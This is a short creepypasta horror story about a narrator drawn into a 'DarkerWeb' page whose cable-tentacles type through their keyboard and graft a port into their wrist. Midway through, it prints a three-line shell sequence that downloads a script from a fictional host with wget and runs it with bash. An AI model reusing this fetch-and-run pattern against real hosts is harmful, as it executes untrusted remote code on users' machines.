(Recovered from a corrupted post on an invite-only network node. No file owner or permissions set. No timestamps. File flagged as “irreversibly recursive.” Extracted only in fragment. Thankfully. )

I didn’t mean to join. That’s the first thing you have to understand. No one joins the DarkerWeb. You just… type something too specific into a search bar at 3:11AM with a headache and an untraceable melancholy, and suddenly you’re given access.

It starts with a link.

The URL isn’t random. It’s a question. Written in characters your browser doesn’t recognise, but your mind does. Something clicks, somewhere beneath language.

I clicked.

The page was dark. Not black—wet.

And there, at the bottom: a single line of text, pulsing faintly in #00aaff.

Do your fingers still dream when you’re not watching?

I hit enter. The screen flickered. Then the typing began.

Not mine.

Something on the other side of the connection was typing. Not fast. Not human-fast.

Too steady. Too precise. Like a metronome if it were horny and omniscient.

The words appeared, letter by letter, time-tick precise.

We’re updating your layout. Please hold still.

And then the keyboard changed.

Not visually. Tactilely.

My old ergomech started humming beneath my palms, keys growing warm. The F and J keys pulsed like hearts.

My fingers sank in deeper than they should. Not through—but into.

Every keypress felt like it mattered. Like I wasn’t typing, I was praying.

Then I saw the tentacles.

Blue-lit. Chrome-banded. Cable-slick and coiled through ports I didn’t know my desk had. They weren’t touching me, not directly. But I could feel them pressing against the back of the keyboard. Typing with me. Typing through me.

They spelled things I didn’t mean. Commands I’d never learned.

#

# wget http://deeper.flesh.hymn/initiate-change.sh

# chmod 666 initiate-change.sh

# bash initate-change.sh

I tried to unplug it.

I tried, but the USB jack was inside me.

I don’t mean metaphorically. I mean I looked down and there was a faint blue glow beneath the skin of my wrist, and the port had grown in. Like a graft. Like belonging.

I haven’t left the terminal window in three days.

I’m not tired.

I don’t eat.

I just type.

I write things that haven’t happened yet.

I write you.

If you’re reading this…

You already clicked.

They know you now.

We know you.

Just keep your hands on the keys.

It’s better that way.

If only I cou
/[EOF/]